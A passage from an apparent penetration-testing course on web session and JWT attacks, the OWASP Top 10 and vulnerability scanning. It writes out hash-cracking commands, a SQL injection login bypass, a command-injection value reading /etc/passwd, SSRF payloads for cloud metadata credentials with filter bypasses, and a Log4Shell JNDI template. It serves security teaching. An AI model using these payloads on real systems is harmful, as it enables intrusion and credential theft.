Attacker uses session_id=attacker_known_value and is now authenticated as the victim

The complete defense is session ID regeneration on authentication. After a user successfully authenticates, the server must generate a completely new session ID, set it in a new cookie, and invalidate the old session ID. This breaks fixation attacks because even if the attacker forced a known pre-auth session ID, it becomes invalid the moment authentication succeeds.

Session Prediction

If session IDs are generated with a weak or predictable algorithm, an attacker who captures a series of session IDs can potentially predict future valid ones. This is less common with modern frameworks (which almost universally use CSPRNGs) but appears in custom session management implementations and legacy systems. During an assessment, capture multiple session IDs and analyze them with tools like Burp Suite's Sequencer, which performs statistical randomness testing on a sample of session tokens.

JSON Web Tokens (JWTs) — The Modern Alternative and Its Attack Surface

Many modern applications — especially those built as APIs consumed by JavaScript frontends and mobile apps — use JWT (JSON Web Token) authentication rather than server-side sessions. Understanding JWTs deeply is essential for modern web application testing.

A JWT is a self-contained token that carries claims (assertions) about the user, signed cryptographically so the server can verify they have not been tampered with. JWTs have three parts, each Base64Url-encoded and separated by dots:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.
eyJzdWIiOiIxMDQyIiwibmFtZSI6IkFsaWNlIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MjE5OTk2MDAsImV4cCI6MTcyMjAyODQwMH0
.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Decode these three Base64 sections and you get:

Header: {"alg": "HS256", "typ": "JWT"} — The algorithm used for signing and the token type.

Payload: {"sub": "1042", "name": "Alice", "role": "user", "iat": 1721999600, "exp": 1722028400} — The claims: user ID, name, role, issued-at time, expiry time.

Signature: The HMAC-SHA256 of base64url(header).base64url(payload) signed with the server's secret key.

The critical difference between JWTs and server-side sessions: the server does not need to store anything. The token is self-validating — the server just verifies the signature. This makes JWTs stateless in a distributed system sense, which is why they are popular for microservices and APIs.

But this architecture creates specific vulnerabilities.

JWT Vulnerability 1 — The alg:none Attack

Early JWT libraries trusted the algorithm specified in the token's own header. An attacker could modify the header to {"alg": "none"}, remove the signature entirely, and modify the payload (e.g., change "role": "user" to "role": "admin"). The library, seeing alg: none, would skip signature verification and accept the token.

Modern libraries reject alg: none, but it is worth testing on any application using JWTs, especially if the backend seems older or custom-built.

JWT Vulnerability 2 — Algorithm Confusion (RS256 to HS256)

This is a more sophisticated and more commonly found attack. Some applications use RS256 (RSA signing with a private key, verified with a public key). The public key is publicly available — that is the point of asymmetric cryptography.

If the application also accepts HS256 (HMAC signing with a symmetric secret), an attacker can:

Get the server's public RSA key (often exposed at a JWKS endpoint like /auth/.well-known/jwks.json)
Create a malicious JWT with modified claims and "alg": "HS256"
Sign it using the public RSA key as the HMAC secret
When the server processes this JWT, if it uses alg: HS256, it verifies the HMAC signature using what it thinks is the HS256 secret — but the attacker signed with the public key, which the server has. The signature validates correctly.

The attacker has created a valid signature for a token they forged.

JWT Vulnerability 3 — Weak Secret (HS256 Secret Cracking)

HS256-signed JWTs use a symmetric secret. If this secret is weak (common examples include secret, password, the application name, the domain name, a short string), it can be cracked offline:

# Using Hashcat to crack JWT HS256 secret
hashcat -a 0 -m 16500 captured_jwt.txt wordlist.txt

# Using jwt_tool for JWT attacks
python3 jwt_tool.py eyJhbGci... -C -d /usr/share/wordlists/rockyou.txt

Once the secret is known, the attacker can forge arbitrary tokens — changing role, user ID, expiry, or any other claim.

JWT Vulnerability 4 — Sensitive Claims in Payload

The JWT payload is Base64Url-encoded, not encrypted. Anyone who has the token can decode and read every claim in it. This is not a vulnerability by itself — the signature ensures integrity. But developers sometimes include sensitive data in JWT claims: plaintext passwords, access tokens for third-party services, PII. Always decode JWT payloads during an assessment and check what data is exposed.

JWT Testing Tools:

jwt.io — online decoder and encoder
jwt_tool — comprehensive JWT attack framework
Burp Suite JWT Editor extension — built-in JWT manipulation in Burp
Burp Suite Scanner — automatically tests for common JWT vulnerabilities

6.1.5 Practice — Attacking and Analyzing Web Sessions

The Session Security Audit Checklist

When assessing a web application's session management, work through this checklist systematically:

1. Cookie Flag Analysis
In Burp Suite, find any Set-Cookie headers in responses. For each session-related cookie:

Is HttpOnly present? If not: XSS can steal this cookie
Is Secure present? If not: Cookie transmitted over HTTP in cleartext
Is SameSite present and configured? If SameSite=None or missing: CSRF risk

2. Session ID Entropy Analysis
Capture 20-50 session IDs from multiple login sessions. Paste them into Burp Suite's Sequencer tool (Proxy → HTTP History → right-click a response setting a session cookie → "Send to Sequencer"). Sequencer performs statistical analysis of the session ID entropy and gives you a confidence rating. Low entropy means the session IDs may be predictable.

3. Session Fixation Test
Log in and note your session ID. Log out. Log back in with the same browser session. Does the session ID change? It must. If the same session ID persists across authentication state changes, session fixation may be possible.

4. Logout Verification
Log in and note your session ID. Log out. Now use Burp Repeater to replay a request with your old session ID. Does the server accept it (vulnerability) or reject it with 401/403 (correct behavior)?

5. Session Timeout Test
Log in. Wait for the configured session timeout period (find this in your pre-engagement documentation or test with various idle periods). After timeout, attempt to use your old session ID. Is it invalidated?

6. JWT Analysis (if applicable)
If the application uses JWTs:

Decode the header and payload at jwt.io
Check what claims are present and whether any sensitive data is exposed
Try changing alg to none and removing the signature
Try changing the role or privilege claim and submit with modified payload
Use jwt_tool to test for algorithm confusion and weak secrets

6.1.6 OWASP Top 10 — The Map of the Web Application Attack Surface

What OWASP Is and Why the Top 10 Exists

The Open Web Application Security Project (OWASP) is a nonprofit foundation founded in 2001, dedicated to improving software security through community-produced open-source documentation, tools, and research. Everything OWASP produces is freely available to everyone — no paywalls, no licenses, no restrictions.

Their most influential output is the OWASP Top 10: a data-driven, consensus-based list of the ten most critical security risks in web applications. The list is compiled by analyzing data from hundreds of organizations worldwide covering millions of applications, supplemented by a community survey of security professionals. It is updated approximately every three to four years to reflect changes in the threat landscape.

The OWASP Top 10 is not just an academic exercise. It is referenced in regulatory frameworks (PCI DSS requires testing against the OWASP Top 10 for in-scope web applications), contractual requirements (enterprise security assessments specify OWASP coverage), and certifications (CompTIA PenTest+, CEH, OSCP all test knowledge of these categories). If you work in web application security at any level, the OWASP Top 10 is the vocabulary you think and communicate in.

The current official version is OWASP Top 10:2021, which remains the primary reference as of 2025–2026. OWASP published a 2025 Release Candidate with notable category changes; we cover both versions here.

A01:2021 — Broken Access Control

The #1 most prevalent web vulnerability. Found in 3.81% of all tested applications — more than any other category.

Access control is the mechanism that determines what authenticated users are permitted to do. It answers the question: "This user is authenticated — but are they authorized to do THIS specific thing?"

Broken access control means these checks are absent, incomplete, or bypassable. The impact ranges from one user reading another user's data to a regular user gaining administrative control of the entire application.

The core failure: Access control is often enforced only at the UI level. The admin link is hidden from regular users in the navigation menu. The premium feature button is grayed out for free users. But the server-side endpoints behind these UI elements accept any authenticated request — they do not verify whether the authenticated user has the permission level required. Remove the UI restriction, and you have full access to what was supposed to be restricted.

IDOR — Insecure Direct Object Reference:

The most common and most impactful manifestation of broken access control. An application exposes internal object identifiers — database IDs, filenames, record numbers — directly to users, and does not verify that the requesting user is authorized to access the specific object requested.

Classic example: A healthcare portal lets patients view their medical records at /api/records/8812. Patient Alice has ID 8812. She notices the ID in the URL and wonders: what happens if she changes it to 8813? If the server returns another patient's records without checking that Alice is authorized to access record 8813, this is a critical IDOR vulnerability. Patient medical records, financial data, personal information — all exposed to any authenticated user who can enumerate IDs.

The reason IDOR is so prevalent: developers add authentication ("you must be logged in") but forget authorization ("you must own this resource"). These are different controls. Authentication proves who you are. Authorization proves what you are allowed to do.

During penetration testing, IDOR discovery looks like this:

Find any numeric ID in a URL or request parameter — user IDs, order IDs, document IDs, message IDs, invoice IDs. Systematically modify these values: increment, decrement, try neighboring values. Use Burp Suite's Intruder to enumerate a range automatically. If the server returns data for IDs belonging to other users, you have confirmed IDOR. For APIs that use less obvious object references (UUIDs instead of sequential integers), look for leaked IDs in other parts of the application — a UUID might appear in one API response and be reusable as a reference in a different API call.

Forced Browsing — Accessing Hidden Endpoints Directly:

The application's UI does not show the admin panel to regular users. But the admin panel still exists at /admin/dashboard. Does the server check the user's role before serving it?

Testing process: Use directory brute forcing (gobuster, ffuf, dirbuster) to discover endpoints. Then attempt to access them while authenticated as a regular user. Compare what a regular user can access versus what an administrator can access. Any endpoint accessible to the wrong user level is a finding.

# Directory brute force to discover hidden admin paths
gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,aspx,jsp -b 404,403

# More targeted admin path enumeration
ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -fc 404 -mc 200,301,302,403

Note that 403 responses during directory brute forcing are high-value findings — they indicate the path exists and requires authorization, making them candidates for access control bypass testing.

HTTP Method Manipulation:

The application correctly blocks GET /admin/users for regular users. But POST /admin/users with a body containing the same parameters? Or PUT /admin/users/1042? Many access control implementations check the method and route together rather than checking the resource and the user's permissions independently. Test every HTTP method against every endpoint.

Parameter Tampering:

Hidden form fields, URL parameters, and JSON body fields sometimes carry role or privilege information that the server trusts without server-side verification. A request body containing {"role": "user", "action": "view_report"} that the attacker changes to {"role": "admin", "action": "view_report"} — does the server accept the user-supplied role? It should not. But many do.

Tools for Automated IDOR Testing:

Autorize (Burp Suite extension): Automatically replays every request you make as a higher-privileged user with a lower-privileged user's session, flagging requests where the lower-privileged user receives equivalent access
AuthMatrix (Burp Suite extension): Maps out which users should have access to which endpoints and highlights violations

A02:2021 — Cryptographic Failures

Previously called "Sensitive Data Exposure" — renamed to focus on the root cause rather than the symptom.

This category covers every failure to protect sensitive data with appropriate cryptography — when data should be encrypted but is not, when it is encrypted but with algorithms too weak to provide real protection, or when encryption is implemented incorrectly in ways that defeat its security properties.

Passwords stored incorrectly:

Passwords must never be stored as plaintext. This is elementary. But what is the correct alternative?

Many developers know "hash the password" but do not know which hash to use. MD5 is NOT acceptable. SHA-1 is NOT acceptable. SHA-256 without a salt is NOT acceptable. These are fast hashing algorithms — designed to process large amounts of data quickly, which means an attacker with a GPU can compute billions of hashes per second and crack a database of MD5 passwords in hours.

The correct solution is password hashing algorithms specifically designed to be slow and memory-intensive: bcrypt, scrypt, Argon2, or PBKDF2. These are deliberately slow — a bcrypt operation with a work factor of 12 takes approximately 300 milliseconds. That is long enough to frustrate fast brute-force cracking while being imperceptible to users. Argon2id (the 2015 Password Hashing Competition winner) is currently the strongest recommendation.

During a penetration test, discovering a database with MD5-hashed passwords is a critical finding. You can demonstrate impact by cracking several hashes with hashcat against the rockyou.txt wordlist — this typically cracks 30-60% of a real-world password database within minutes.

# Crack MD5 hashes from a database dump
hashcat -m 0 md5_hashes.txt /usr/share/wordlists/rockyou.txt

# Crack bcrypt (much slower even with GPU)
hashcat -m 3200 bcrypt_hashes.txt /usr/share/wordlists/rockyou.txt

# Crack SHA-256 without salt
hashcat -m 1400 sha256_hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule

Transmitting data over HTTP instead of HTTPS:

Any sensitive data sent over plaintext HTTP is readable to any network observer. This includes login credentials, session cookies, API keys, personal information, financial data, and medical records.

Testing this: Visit the application over HTTP (http:// not https://). Does it redirect to HTTPS? Or does it serve the login form over HTTP? Submit the login form and watch in Burp — are credentials transmitted in cleartext? Check whether the Secure flag is missing from session cookies (which means they can be transmitted over HTTP).

TLS version and cipher suite weaknesses:

Even when HTTPS is used, weak TLS configurations create vulnerabilities.

Testing TLS configuration:

# testssl.sh — comprehensive TLS security test
testssl.sh https://target.com

# sslscan — cipher suite enumeration
sslscan target.com

# nmap TLS scripts
nmap --script ssl-enum-ciphers -p 443 target.com

# Online: SSL Labs provides detailed TLS analysis
# https://www.ssllabs.com/ssltest/analyze.html?d=target.com

Look for: TLS 1.0 or 1.1 support (deprecated — vulnerable to BEAST, POODLE), weak cipher suites (RC4, 3DES, export-grade ciphers), expired or self-signed certificates, missing HSTS.

Sensitive data in unexpected places:

Sensitive data appears in places developers do not think to check: JavaScript files (hardcoded API keys, internal endpoint paths, debug credentials), HTML comments (developer notes often contain environment details, passwords, internal system names), error messages (stack traces, SQL queries, file paths), log files accessible via the web, backup files (.bak, .old, .swp, .~, database dump files).

Testing this:

# Search JavaScript files for secrets
# In Burp: Spider the application, review all JS files in the site map
# Tools: trufflehog, gitleaks (for repositories)
# grep for patterns in downloaded JS files:
grep -r "api_key\|apikey\|password\|secret\|token" /path/to/js/files/

# Directory brute force targeting common sensitive file extensions
gobuster dir -u https://target.com -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x bak,old,sql,env,config,backup,zip,tar,gz

A03:2021 — Injection

The most thoroughly tested category — 94% of tested applications were tested for injection vulnerabilities. Still causes some of the most devastating breaches.

Injection is conceptually simple: user-controlled input is interpreted as code by an interpreter (SQL database, OS shell, LDAP server, XML parser, template engine). The application fails to distinguish between the command structure and the data — user input is part of the command rather than a safely isolated parameter.

This entire category is covered in exhaustive detail in Section 6.4. Here we establish the conceptual foundation:

SQL Injection is the most impactful injection type. A web application builds database queries by concatenating user input:

// VULNERABLE code (PHP example)
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";

If an attacker enters admin'-- as the username, the resulting query becomes:

SELECT * FROM users WHERE username='admin'--' AND password='anything'

The -- comments out the rest of the SQL query. The password check disappears. This is authentication bypass — the attacker is logged in as admin without knowing the password.

This vulnerability has ended careers, bankrupted companies, and exposed hundreds of millions of records. And it is trivially preventable: use parameterized queries (prepared statements) that treat user input as data, never as part of the SQL syntax.

OS Command Injection occurs when user input is passed to shell commands:

# VULNERABLE code (Python example)
import os
filename = request.form['filename']
os.system(f"convert {filename} output.pdf")

If the user provides ; cat /etc/passwd as the filename, the command becomes convert ; cat /etc/passwd output.pdf. The shell executes both commands — the conversion and the file read. Impact: arbitrary operating system command execution on the server.

Cross-Site Scripting (XSS) is now classified under Injection because it shares the same root cause: user input is interpreted as code (HTML/JavaScript) rather than data. XSS is important enough that it appears as its own OWASP entry in some discussions and has its own dedicated section in this module (Section 6.7).

A04:2021 — Insecure Design

New in 2021. The only category that cannot be fixed with a patch — it requires redesigning the feature.

Insecure design is different from implementation vulnerabilities. An implementation vulnerability means the code could have been written correctly but was not. Insecure design means the design itself is fundamentally flawed — no matter how well the code implements it, the design creates unacceptable risk.

Examples that illustrate the distinction:

A password reset feature that works by sending a new password in the email is insecure by design. It does not matter how securely the new password is generated, how carefully the email is formatted, how properly the database is updated. The design decision — delivering credentials in email — is the vulnerability. The correct design is sending a time-limited, single-use reset link.

A rate limiting system that only counts failed logins from the same IP address is insecure by design against distributed credential stuffing. An attacker using a botnet of thousands of IPs makes one attempt per IP — each attempt is below the per-IP rate limit, but collectively the attack proceeds unimpeded. A design that considers the velocity of attempts against a specific account, regardless of source IP, is fundamentally more sound.

A ticket booking system that allows unlimited "hold" reservations without completing purchase enables a denial-of-service attack on ticket availability. No implementation detail changes this — it is a design that does not account for abuse.

Identifying insecure design requires security thinking during the design phase — threat modeling, security requirements analysis, and adversarial thinking before code is written. For penetration testers, this means understanding business logic well enough to identify how legitimate features can be abused in ways that are not bugs in the traditional sense.

A05:2021 — Security Misconfiguration

The broadest category — affects every layer of the technology stack, from the web server to the cloud configuration.

Security misconfiguration is any situation where a system is technically capable of being secure but has been deployed in an insecure configuration. This is perhaps the most common finding in real-world web application assessments because it requires neither implementation expertise nor sophisticated attack techniques — often just knowing where to look.

Default credentials: Factory-default usernames and passwords on network devices, database servers, application admin consoles, and management interfaces. Shodan finds millions of devices with default credentials. admin:admin, admin:password, root:root, cisco:cisco — these credentials, which manufacturers set for initial configuration and expect to be changed, are often never changed.

Debug mode and verbose error messages: Every major web framework has a debug mode intended for development that provides detailed error information — stack traces, SQL queries, file paths, configuration values — in HTTP responses. In production, this information is a reconnaissance goldmine for attackers. A single 500 error page in debug mode can reveal the entire technology stack, database schema, internal network addressing, and application architecture.

Unnecessary services enabled: A server configured to run both HTTPS (necessary) and FTP, Telnet, and SNMP (unnecessary legacy services with known vulnerabilities). An application server with SSH enabled on all interfaces. A web server with directory listing enabled, allowing attackers to browse the file structure.

Cloud storage misconfigurations: Public S3 buckets (AWS), public Blob containers (Azure), public GCS buckets (Google Cloud) are the most common and most impactful misconfiguration in cloud environments. An S3 bucket configured for public access exposes every file stored in it to anyone on the internet. Billions of sensitive records have been exposed this way. The names of buckets often follow predictable patterns based on the company name.

# Test for public S3 buckets
aws s3 ls s3://company-name --no-sign-request
aws s3 ls s3://company-backups --no-sign-request
aws s3 ls s3://company-production --no-sign-request

# S3Scanner for systematic bucket enumeration
s3scanner scan --bucket company-name
s3scanner scan --bucket-file probable_bucket_names.txt

Missing HTTP security headers: As enumerated in the HTTP headers section above — missing CSP, X-Frame-Options, HSTS, X-Content-Type-Options. Each missing header enables specific attack classes.

A06:2021 — Vulnerable and Outdated Components

The vulnerability that caused the Equifax breach — 147 million records — and countless others.

Modern web applications are composed largely of third-party components: JavaScript frameworks, npm packages, Python pip packages, Java Maven dependencies, WordPress plugins, Ruby gems, operating system packages. Each component has its own vulnerability history. Running outdated versions means running known vulnerabilities that attackers can exploit with publicly available tools.

The Equifax breach is the defining case study. In May 2017, Apache disclosed CVE-2017-5638 — a critical remote code execution vulnerability in Apache Struts 2. They released a patch on the same day. Equifax's security team was notified. They did not apply the patch. In July 2017, attackers discovered that Equifax had not patched and exploited the vulnerability to access their network. Over 76 days, attackers accessed the personal and financial records of 147.9 million Americans, including Social Security numbers, birth dates, addresses, and driver's license numbers. The vulnerability was disclosed and patched before the breach — the breach happened because the patch was not applied.

During penetration testing, component identification works like this:

Identify component versions from HTTP headers (Server, X-Powered-By), HTML source code (meta tags, JavaScript file names often include version numbers like jquery-3.3.1.min.js), directory structures (default paths for specific CMS versions), and response behavior.

# WhatWeb - technology identification
whatweb https://target.com -v

# Wappalyzer CLI
wappalyzer https://target.com

# Identify WordPress version
curl -s https://target.com/wp-includes/version.php
curl -s "https://target.com/feed/" | grep "generator"

# Check JavaScript libraries in page source for version numbers
curl -s https://target.com | grep -i "jquery\|bootstrap\|angular\|react\|vue" | head -20

# Cross-reference identified versions against CVE database
searchsploit wordpress 5.7
searchsploit apache tomcat 9.0.37
nuclei -u https://target.com -tags cve -severity critical,high

A07:2021 — Identification and Authentication Failures

The entire category of "how the application knows who you are and how that can go wrong."

Authentication is proving who you are. Identification is claiming who you are. Failures in these processes allow attackers to impersonate legitimate users or escalate their own privileges.

This category is the subject of Section 6.5 in its entirety. Here we map the key failure modes:

Credential brute force and stuffing: Applications that do not rate limit login attempts allow attackers to try thousands of passwords programmatically. Even with rate limiting, if no account lockout is implemented after N failures, a slow brute force with reasonable pauses remains viable. Credential stuffing — testing username/password pairs leaked in previous breaches against a new application — exploits password reuse, which research shows affects 65% of users.

Weak password policies: Allowing passwords like "password", "123456", or the username itself. Not checking new passwords against known-breached password lists.

Insecure password reset: A reset token that is too short (4-6 digit numeric codes susceptible to brute force), too long-lived (tokens that do not expire allow replay attacks), or sent via an insecure channel.

Session management failures: As discussed in 6.1.4 — predictable session IDs, missing regeneration after authentication, no server-side invalidation on logout.

Missing or bypassable MFA: Applications with no second factor, or with second factors that can be bypassed (e.g., the MFA check occurs client-side in JavaScript, or the MFA verification endpoint is accessible after the first factor without requiring the second).

A08:2021 — Software and Data Integrity Failures

The category that includes insecure deserialization and supply chain attacks.

This category covers any failure to verify the integrity of software, data, or update processes. The escalating frequency of supply chain attacks makes this category increasingly important.

Insecure deserialization is the most technically complex vulnerability class in this category. Serialization converts an in-memory object to a format (byte stream, JSON, XML) for transmission or storage. Deserialization reverses this — reconstructing the object from the serialized form. Insecure deserialization occurs when applications deserialize data from untrusted sources without validation.

The attack works by exploiting how the deserialization library reconstructs objects. In Java, many libraries invoke methods (particularly readObject()) during deserialization. If the class library path contains classes with dangerous readObject() methods — called "gadget chains" — an attacker who can provide serialized input can trigger arbitrary code execution simply by causing the dangerous method to be called during deserialization.

Indicators of Java serialization in HTTP traffic:

# In request body or cookie values, look for:
Content-Type: application/x-java-serialized-object
# Or Base64 values starting with: rO0A (decodes to: ac ed 00 05 - Java serialized object magic bytes)

Tool for generating Java deserialization exploit payloads: ysoserial — generates malicious serialized objects that execute specified commands when deserialized by vulnerable libraries.

Supply chain attacks: The SolarWinds attack (2020) and the XZ Utils backdoor (2024) demonstrated that even organizations with strong perimeter security can be compromised through their trusted software supply chain. For web application testing, this manifests as evaluating whether the application uses third-party dependencies that could introduce malicious code.

A09:2021 — Security Logging and Monitoring Failures

The category that determines whether a breach is detected in hours or months.

The average time between a breach occurring and being detected, according to IBM's 2024 Cost of a Data Breach Report, is 194 days. That is six and a half months of undetected attacker activity. The gap between breach and detection is where logging and monitoring failures live.

This category is unique among the OWASP Top 10: it does not describe a direct vulnerability that attackers exploit. It describes the failure to detect that attacks are happening. Without logging, a penetration test that compromises an application leaves no trace the security team can investigate.

What must be logged:

Authentication events: every login attempt (successful and failed), every password change, every MFA event
Access control failures: every 403 response (someone tried to access something they are not authorized for)
Input validation failures: every rejected input that might indicate injection testing
High-risk operations: administrative actions, privilege changes, data exports
Session lifecycle: session creation, session expiry, logout

Common logging failures:

Not logging at all ("we'll add logging later")
Logging to the same filesystem that an attacker might compromise (an attacker who compromises a server can delete local logs)
No centralized aggregation (each server keeps its own logs, making correlation across the environment impossible)
No alerting (logs collected but never reviewed in real time)
Excessive logging that creates too much noise to find signals

For penetration testers: Testing monitoring is typically done by conducting obvious attack activity (automated scanner traffic, brute force attempts, obviously malformed input) and asking the client whether any alerts fired. A complete penetration test that generates no security alerts despite conducting active exploitation is itself a critical finding about the organization's detection capability.

A10:2021 — Server-Side Request Forgery (SSRF)

New to the OWASP Top 10 in 2021. Critically important in cloud environments.

SSRF occurs when an application fetches a remote resource based on user-controlled input without validating whether that URL is safe to request. The result is that the server makes requests on the attacker's behalf — to internal services, to cloud metadata endpoints, or to other resources the attacker cannot reach directly.

Imagine an application with a "preview this link" feature — you provide a URL and the application fetches it and shows you a preview. The application server makes an HTTP request to whatever URL you provide. If you provide http://169.254.169.254/latest/meta-data/iam/security-credentials/ — the AWS Instance Metadata Service address — and the application is running on an AWS EC2 instance, the server fetches this internal URL and returns the IAM credentials of the instance's IAM role.

Cloud infrastructure metadata services are the most impactful SSRF targets:

AWS: http://169.254.169.254/latest/meta-data/ — returns IAM credentials, instance details, user data scripts
Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01 with Metadata: true header
GCP: http://metadata.google.internal/computeMetadata/v1/ with Metadata-Flavor: Google header

Successful SSRF against a cloud metadata endpoint returns IAM credentials that can be used to make AWS/Azure/GCP API calls with the instance's permissions — potentially accessing S3 buckets, databases, secrets manager, and other cloud resources far beyond the application itself.

Finding SSRF entry points:

Any feature that makes outbound HTTP requests based on user input is an SSRF candidate:

Link preview / URL metadata fetching
Webhook configuration (user provides a URL that receives events)
Document/PDF generation from a URL
"Import from URL" features
Image proxying
Server-side OAuth flows
XML parsers (XXE can trigger SSRF through external entity declarations)
PDF generators processing CSS url() references

Testing for SSRF:

Use Burp Suite's Collaborator (or interactsh for an open-source alternative) to generate a unique callback URL. Submit this URL to any suspected SSRF entry point. If your Collaborator receives an HTTP or DNS request from the target application's IP range, you have confirmed the application makes outbound requests — which is SSRF.

Then escalate to internal targets:

http://127.0.0.1/admin
http://localhost:8080/
http://169.254.169.254/
http://192.168.1.1/
http://10.0.0.1/

Bypass attempts when IP-based filtering is in place:

# Decimal encoding of 127.0.0.1
http://2130706433/

# Octal encoding
http://0177.0.0.1/

# Hex encoding
http://0x7f000001/

# IPv6 loopback
http://[::1]/

# DNS rebinding: a domain that resolves to 127.0.0.1
http://localtest.me/

# URL-encoded components
http://127.0.0.1%2f@attacker.com/

The OWASP Top 10:2025 — What Is Changing and Why It Matters

OWASP's 2025 Release Candidate reflects the evolving threat landscape. Key changes:

A01:2025 — Broken Access Control remains the most prevalent category at #1. Significantly: SSRF has been absorbed into this category rather than standing alone, reflecting the understanding that SSRF is fundamentally an access control failure — the application makes requests it should not be permitted to make.

A02:2025 — Security Misconfiguration jumped from #5 to #2. As applications become more configuration-driven (containers, infrastructure-as-code, cloud services), misconfiguration has overtaken many implementation-level vulnerabilities in frequency.

A03:2025 — Software Supply Chain Failures expands the previous "Vulnerable and Outdated Components" to encompass the full scope of supply chain risk — compromised build pipelines (SolarWinds-style attacks), malicious package injection (PyPI/npm poisoning), and transitive dependency vulnerabilities.

Injection dropped from #3 to #5. Better static analysis tooling and developer education have made classic injection vulnerabilities somewhat less prevalent — though they remain critically impactful when found.

New entries and considerations for 2025: Race conditions and Time-of-Check to Time-of-Use (TOCTOU) vulnerabilities are gaining attention. Web cache poisoning is increasingly significant. AI-specific vulnerabilities (prompt injection in LLM-integrated applications, model manipulation) are being discussed for explicit inclusion.

6.1.7 Lab — Website Vulnerability Scanning

Understanding What Automated Scanners Do and Do Not Catch

Before running any scanner, internalize this: automated vulnerability scanners catch approximately 30-40% of vulnerabilities in a real web application. They excel at pattern matching — finding known vulnerable library versions, common misconfigurations, obvious injection points, and security header absences. They fail completely at business logic flaws, subtle access control issues, multi-step attack chains, and vulnerabilities unique to the specific application's implementation.

Automated scanning is the first step, not the final answer. It identifies the low-hanging fruit and provides a coverage baseline so your manual testing can focus on the harder, higher-value issues.

Nikto — Web Server Configuration Scanner

Nikto performs over 6,700 checks against web servers: dangerous files, outdated software, enabled unnecessary HTTP methods, security header issues, default installations, and known vulnerabilities.

# Basic scan
nikto -h http://target.com
nikto -h https://target.com

# Scan with SSL
nikto -h https://target.com -ssl

# Save output in multiple formats
nikto -h http://target.com -o nikto_results.html -Format htm
nikto -h http://target.com -o nikto_results.txt -Format txt
nikto -h http://target.com -o nikto_results.xml -Format xml

# Scan a specific port
nikto -h http://target.com -p 8080

# Scan through Burp Suite proxy (capture Nikto's requests for review)
nikto -h http://target.com -useproxy http://127.0.0.1:8080

# Disable DNS resolution (faster)
nikto -h http://target.com -nodns

# Tune to specific test categories:
# 0: File Upload, 1: Interesting File/Seen in logs, 2: Misconfiguration
# 3: Information Disclosure, 4: Injection (XSS/Script/HTML), 5: Remote File Retrieval
# 6: Denial of Service, 7: Remote File Retrieval (Server Wide), 8: Command Execution
# 9: SQL Injection, a: Authentication Bypass, b: Software Identification
nikto -h http://target.com -Tuning 4,9    # XSS and SQLi tests only

Interpreting Key Nikto Findings:

"The anti-clickjacking X-Frame-Options header is not present" → The page can be embedded in an iframe. Clickjacking is possible. Medium finding, higher impact if the page contains sensitive actions.

"The X-Content-Type-Options header is not set" → Browser MIME-type sniffing possible. Low-medium finding.

"Cookie session_id created without the httponly flag" → XSS can steal this cookie. Critical if this is the primary session cookie.

"Cookie session_id created without the secure flag" → Cookie sent over HTTP. High finding.

"Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, PUT, DELETE, TRACE" → DELETE and TRACE enabled are findings. PUT enabled may allow file upload to the server root.

"Server leaks inodes via ETags, inode: XXXX, size: XXXX, mtime: XXXX" → Information disclosure through ETag headers. Low finding.

"Default account found for 'admin': admin:admin" → Default credentials confirmed. Critical finding.

"OSVDB-XXXX: /phpMyAdmin/: phpMyAdmin directory found" → Database admin interface exposed. Critical finding — attempt default credentials and check for authentication bypass.

"Retrieved x-powered-by header: PHP/7.4.3" → PHP version disclosure. Cross-reference against PHP CVE database for this specific version.

Nuclei — Template-Based Vulnerability Scanner

Nuclei uses YAML templates — each template defines a specific test. The template library is community-maintained and grows rapidly, with new templates appearing within hours of major CVE disclosures.

# Update template library (run this before every engagement)
nuclei -update-templates

# Basic scan with default templates
nuclei -u https://target.com

# Scan with specific severity levels
nuclei -u https://target.com -severity critical
nuclei -u https://target.com -severity critical,high

# Scan by tag categories
nuclei -u https://target.com -tags cve           # All CVE checks
nuclei -u https://target.com -tags exposure      # Exposed sensitive files/data
nuclei -u https://target.com -tags misconfig     # Misconfigurations
nuclei -u https://target.com -tags default-login # Default credentials
nuclei -u https://target.com -tags xss           # XSS checks
nuclei -u https://target.com -tags sqli          # SQL injection checks
nuclei -u https://target.com -tags ssrf          # SSRF checks
nuclei -u https://target.com -tags lfi           # Local file inclusion

# Scan for a specific CVE
nuclei -u https://target.com -id CVE-2021-44228    # Log4Shell
nuclei -u https://target.com -id CVE-2021-26855   # ProxyLogon (Exchange)
nuclei -u https://target.com -id CVE-2022-22965   # Spring4Shell

# Scan a list of targets
nuclei -list targets.txt -severity critical,high

# Output to file
nuclei -u https://target.com -o nuclei_findings.txt
nuclei -u https://target.com -o nuclei_findings.json -json

# Run against all URLs discovered in a web spider
katana -u https://target.com -o urls.txt
nuclei -list urls.txt -tags xss,sqli,ssrf

# Concurrent scanning with rate limiting (be careful with production targets)
nuclei -u https://target.com -rate-limit 50 -concurrency 25

Understanding Nuclei Template Structure (Read One to Understand All):

id: CVE-2021-44228-log4j-rce    # Unique identifier

info:
  name: Apache Log4j RCE (Log4Shell)
  author: pdteam
  severity: critical
  description: |
    Apache Log4j2 allows JNDI lookups to remote LDAP servers, enabling 
    remote code execution.
  tags: cve,cve2021,apache,log4j,log4shell,jndi,rce

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: ${jndi:ldap://{{interactsh-url}}/exploit}  # JNDI payload in User-Agent
        X-Forwarded-For: ${jndi:ldap://{{interactsh-url}}/exploit}
        Accept: */*
    matchers:
      - type: word
        part: interactsh_protocol  # Match on DNS callback
        words:
          - "dns"

This template sends a JNDI lookup payload in request headers. If the application uses Log4j to log these headers (extremely common), the JNDI reference triggers a DNS lookup to the Nuclei interactsh callback server. The template matches on receiving that callback, confirming Log4Shell vulnerability.

Manual Verification After Automated Scanning

Every automated scanner finding requires manual verification before going into a report. False positives waste client remediation effort and damage your credibility. Here is the verification mindset for common findings:

